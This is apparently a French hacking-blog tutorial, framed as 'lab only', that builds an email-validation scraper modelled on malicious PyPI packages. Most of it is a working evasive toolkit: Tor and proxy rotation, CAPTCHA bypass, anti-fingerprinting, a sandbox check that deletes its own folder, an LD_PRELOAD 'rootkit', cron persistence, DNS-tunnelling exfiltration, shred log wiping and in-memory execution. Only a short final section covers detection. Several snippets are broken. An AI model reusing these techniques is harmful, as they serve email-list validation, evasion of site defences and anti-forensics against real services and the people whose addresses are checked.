1️⃣ L’Âme Malveillante Numérique

Apache, ce tuto t’emmène dans l’ombre des paquets PyPI malveillants pour coder un script Python qui scrape un site de test éthique. On va :

• Créer un script avec multi-threading, obfuscation, et proxies rotatifs.
• Ajouter des techniques pro : CAPTCHA bypass, browser automation, ML.
• Visualiser avec Plotly et sécuriser avec chiffrement E2E.
• Explorer persistence, exfiltration, et anti-forensics (lab only).

Lab only, 100% éthique, prêt à faire trembler ton VirtualBox. 🐍🔥

2️⃣ Mise en Garde Éthique

Ce tuto est strictement éducatif et doit rester en lab isolé (VirtualBox, réseau NAT). Le scraping réel est illégal :

• France : Article 323-1 du Code pénal (7 ans de prison, 100 000 €).
• RGPD : Données personnelles sans consentement (amende 20M€).
• CGU : Violation des conditions des sites.

Engagement Éthique

Le script demande une confirmation explicite :

# Extrait du script
if not args.accept_terms:
    print("⚠️ LAB ONLY. Scraping réel interdit (RGPD, article 323-1). Acceptez ? [Y/N]")
    confirm = input().strip().upper()
    if confirm != "Y":
        sys.exit(1)
                

Les logs sont chiffrés avec Fernet et GPG :

2025-05-22 18:51:00 - IP: 192.168.56.100 - Action: Scraping test.local - Encrypted
                

Responsabilité : Platon-y et pctamalou.fr déclinent toute responsabilité pour un usage non éthique. Hacke propre, Apache !

3️⃣ Contexte PyPI

Les paquets PyPI Destureur-SaGaF (2605 téléchargements), steinlucs (1049), et sinnercore (3300) ont été retirés en 2025 pour des requêtes POST malveillantes vers des API TikTok/Instagram, vérifiant des emails volés.

Fonctionnement

• Scraping : Collecte d’emails via profils publics.
• Vérification : Requêtes API pour valider les emails.
• Malice : Envoi vers serveurs C2.

Notre Approche

On scrape un site de test local (Flask) avec des techniques : multi-threading, obfuscation, rotations d’IP, CAPTCHA bypass, et dashboards Plotly. Tout en lab, éthique à 100%.

4️⃣ Setup du Lab

Configure un lab isolé avec VirtualBox pour coder et tester.

Matériel et Logiciels

• VM Kali Linux 2024.4 : 4 Go RAM, 2 CPU, 20 Go disque. IP : 192.168.56.100.
• VM Ubuntu 24.04 : Serveur Flask. IP : 192.168.56.101.
• Outils : Python 3.12, requests, BeautifulSoup, fake_useragent, tor, matplotlib, plotly, scikit-learn, selenium, curl_cffi, gpg, pip-audit, bandit.

Configuration

1. Installer VirtualBox : virtualbox.org.
2. Configurer les VM :
   • Kali : ISO Kali 2024.4, réseau NAT (192.168.56.100).
   • Ubuntu : ISO Ubuntu 24.04, réseau NAT (192.168.56.101).
3. Mettre à jour Kali :

   sudo apt update && sudo apt upgrade -y
   sudo apt install python3 python3-pip tor -y
   pip3 install requests beautifulsoup4 fake_useragent matplotlib plotly scikit-learn selenium curl_cffi python-gnupg pip-audit bandit
                           

4. Configurer Tor :

   sudo systemctl start tor
                           

5. Configurer Ubuntu (Serveur de Test) :
   • Installe Flask :

   sudo apt install python3 python3-pip
   pip3 install flask
                           

   • Crée test_server.py :

   from flask import Flask
   app = Flask(__name__)
   
   @app.route('/profile/')
   def profile(email):
       return f'
   Profile: {email}
   Email found: {email}
   '
   
   if __name__ == '__main__':
       app.run(host='0.0.0.0', port=80)
                               

   • Lance le serveur :

   python3 test_server.py
                           

5️⃣ Script Python

Crée malicious_clone_pro.py pour scraper éthiquement :

import argparse
import requests
from bs4 import BeautifulSoup
from curl_cffi import requests as curl_requests
from fake_useragent import UserAgent
from selenium import webdriver
from threading import Thread
import time
import random
import gnupg
from cryptography.fernet import Fernet
import logging
import os
import sys
import shutil
import ctypes
import socket

# Configuration
logging.basicConfig(filename='audit.log', level=logging.INFO)
key = Fernet.generate_key()
cipher = Fernet(key)
gpg = gnupg.GPG()
ua = UserAgent()

def encrypt_log(message):
    fernet_enc = cipher.encrypt(message.encode())
    return str(gpg.encrypt(fernet_enc, recipients=None, symmetric='AES256'))

def check_sandbox():
    try:
        socket.create_connection(('127.0.0.1', 12345), timeout=1)
        logging.warning(encrypt_log("Sandbox détecté ! Auto-destruction..."))
        shutil.rmtree(os.path.dirname(__file__), ignore_errors=True)
        sys.exit(1)
    except:
        pass

def scrape_email(email, proxy=None, use_selenium=False):
    url = f'http://192.168.56.101/profile/{email}'
    headers = {'User-Agent': ua.random, 'Accept': 'text/html', 'Accept-Language': 'fr-FR'}
    
    if use_selenium:
        options = webdriver.ChromeOptions()
        options.add_argument('--headless')
        if proxy:
            options.add_argument(f'--proxy-server={proxy}')
        driver = webdriver.Chrome(options=options)
        try:
            driver.get(url)
            time.sleep(random.uniform(1, 10))
            if 'Email found' in driver.page_source:
                logging.info(encrypt_log(f'Success (Selenium): {email} found'))
                driver.quit()
                return True
            logging.info(encrypt_log(f'Failed (Selenium): {email} not found'))
            driver.quit()
            return False
        except Exception as e:
            logging.error(encrypt_log(f'Error (Selenium): {email} - {str(e)}'))
            driver.quit()
            return False
    else:
        try:
            time.sleep(random.uniform(1, 10))
            response = curl_requests.get(url, headers=headers, proxies={'http': proxy} if proxy else None, timeout=5, impersonate="chrome")
            soup = BeautifulSoup(response.text, 'html.parser')
            if 'Email found' in response.text:
                logging.info(encrypt_log(f'Success: {email} found on {url}'))
                return True
            logging.info(encrypt_log(f'Failed: {email} not found'))
            return False
        except Exception as e:
            logging.error(encrypt_log(f'Error: {email} - {str(e)}'))
            return False

def worker(emails, proxy, use_selenium):
    for email in emails:
        scrape_email(email, proxy, use_selenium)

def main():
    parser = argparse.ArgumentParser(description='Script Brut de Décoffrage Pro')
    parser.add_argument('--emails', required=True, help='Fichier avec emails')
    parser.add_argument('--threads', type=int, default=5, help='Nombre de threads')
    parser.add_argument('--tor-proxy', action='store_true', help='Utiliser Tor')
    parser.add_argument('--selenium', action='store_true', help='Utiliser Selenium')
    parser.add_argument('--accept-terms', action='store_true', help='Accepter les termes')
    args = parser.parse_args()

    check_sandbox()

    if not args.accept_terms:
        print("⚠️ LAB ONLY. Scraping réel interdit (RGPD, article 323-1). Acceptez ? [Y/N]")
        confirm = input().strip().upper()
        if confirm != "Y":
            sys.exit(1)

    proxy = 'socks5://127.0.0.1:9050' if args.tor_proxy else None
    with open(args.emails, 'r') as f:
        emails = [line.strip() for line in f]
    
    chunk_size = len(emails) // args.threads + 1
    threads = []
    for i in range(0, len(emails), chunk_size):
        chunk = emails[i:i + chunk_size]
        t = Thread(target=worker, args=(chunk, proxy, args.selenium))
        threads.append(t)
        t.start()
    
    for t in threads:
        t.join()

if __name__ == '__main__':
    main()
                

Usage :

echo "test1@example.com\ntest2@example.com" > emails.txt
python3 malicious_clone_pro.py --emails emails.txt --threads 5 --tor-proxy --selenium --accept-terms
                

Fonctionnalités :

• Multi-threading : Scraping parallèle.
• Obfuscation : Noms cryptiques (ex. cipher).
• Proxies : Tor pour l’anonymat.
• Chiffrement : Logs avec Fernet + GPG.
• Anti-détection : User-Agent rotatif, délais 1-10s.
• Browser Automation : Selenium en option.
• Auto-destruction : Détecte les sandboxes.

6️⃣ Techniques Avancées

Boostons le script avec des tricks de pro :

Rotations d’IP Dynamiques

Utilise ScraperAPI pour changer d’IP à chaque requête :

# Ajoute à scrape_email
scraper_api_key = 'YOUR_API_KEY'
proxy = f'http://api.scraperapi.com?api_key={scraper_api_key}&url={url}'
response = curl_requests.get(url, headers=headers, proxies={'http': proxy})
                

CAPTCHA Bypass

Intègre 2Captcha pour résoudre les CAPTCHAs :

from twocaptcha import TwoCaptcha
solver = TwoCaptcha('YOUR_2CAPTCHA_KEY')
def solve_captcha(site_key, url):
    try:
        result = solver.recaptcha(sitekey=site_key, url=url)
        return result['code']
    except:
        logging.error(encrypt_log("Échec CAPTCHA"))
        return None
                

Browser Automation

Selenium imite un navigateur réel (voir script ci-dessus). Ajoute des options anti-fingerprinting :

options.add_argument('--disable-blink-features=AutomationControlled')
options.add_experimental_option('excludeSwitches', ['enable-automation'])
                

7️⃣ Optimisation & Furtivité

Rendons le script invisible :

• Délais Randomisés : Déjà inclus (1-10s).
• Headers Réalistes : Utilise curl_cffi avec impersonation Chrome.
• Anti-Fingerprinting : Modifie Canvas/WebGL :

# Ajoute à Selenium
driver.execute_script("Object.defineProperty(navigator, 'webgl', {get: () => false});")
                

8️⃣ Sécurité Renforcée

Protégeons le script :

Chiffrement E2E

Logs chiffrés avec GPG (voir script).

Auto-Destruction

Détecte les sandboxes et se supprime (voir check_sandbox).

Rootkit (Bonus Éthique)

Cache le processus avec LD_PRELOAD (lab only) :

# hide_process.c
#include 
int getpid() { return 0; }
# Compiler et utiliser
gcc -shared -fPIC hide_process.c -o hide_process.so
export LD_PRELOAD=./hide_process.so
                

9️⃣ Analyse des Données

Machine Learning

Classifie les emails avec scikit-learn :

from sklearn.ensemble import RandomForestClassifier
import pandas as pd
def classify_emails(log_file):
    df = pd.read_csv(log_file, names=['timestamp', 'status', 'email'])
    X = df['email'].str.len().values.reshape(-1, 1)
    y = (df['status'] == 'Success').astype(int)
    clf = RandomForestClassifier()
    clf.fit(X, y)
    return clf
                

Dashboards Plotly

Remplace matplotlib par Plotly :

import plotly.express as px
import pandas as pd
def plot_logs():
    df = pd.read_csv('audit.log', names=['timestamp', 'status', 'email'])
    fig = px.line(df.groupby('status').count(), title='Scraping en Temps Réel')
    fig.write_xaxes(title='Temps')
    fig.update_yaxes(title='Nombre')
    fig.show()
                

10️⃣ Exfiltration & Persistence

Concepts avancés (lab only) :

Persistence

Ajoute un cronjob :

echo "* * * * * python3 /path/to/malicious_clone_pro.py" | crontab -
                

Exfiltration

Envoie les logs via DNS tunneling (lab only) :

from dnslib import *
def exfiltrate_log(data):
    domain = f"{data.encode('hex')}.test.local"
    d = DNSRecord.question(domain)
    # Simule envoi DNS
                

11️⃣ Anti-Forensics

Efface les traces :

• Supprimer Logs :

  shred -u audit.log
                          

• Exécution en RAM :

  import memfd_create
  with memfd_create.memfd_create('script') as fd:
      os.write(fd, open('malicious_clone_pro.py', 'rb').read())
      os.execve(fd, [fd], {})
                          

12️⃣ Protections

Détecte et bloque ce genre de scripts :

• Pip-audit :

  pip-audit --require-hashes -r requirements.txt
                          

• Bandit :

  bandit -r malicious_clone_pro.py
                          

• YARA :

  rule Scraper {
      strings:
          $s1 = "scrape_email"
          $s2 = "curl_cffi"
      condition:
          all of them
  }
                          

• Fail2Ban :

  [jail]
  enabled = true
  filter = scraper
  logpath = /var/log/nginx/access.log
  maxretry = 10
  bantime = 3600
                          

13️⃣ Démo en Lab

Configure et teste :

1. Lance Flask sur Ubuntu (192.168.56.101).
2. Crée emails.txt.
3. Exécute malicious_clone_pro.py :

   python3 malicious_clone_pro.py --emails emails.txt --threads 5 --tor-proxy --selenium --accept-terms
                           

4. Visualise avec Plotly :

   python3 plot_logs.py
                           

Résultat : Scraping furtif, logs chiffrés, dashboard interactif.

14️⃣ FAQ Apache

Réponses pour dominer :

Question : Puis-je scraper un site réel ?
Réponse : Non, lab only ! Utilise Flask.

Question : Pourquoi pas Docker ?
Réponse : VirtualBox pour l’isolation max.

Question : Comment gérer les CAPTCHAs ?
Réponse : 2Captcha intégré (voir section 6).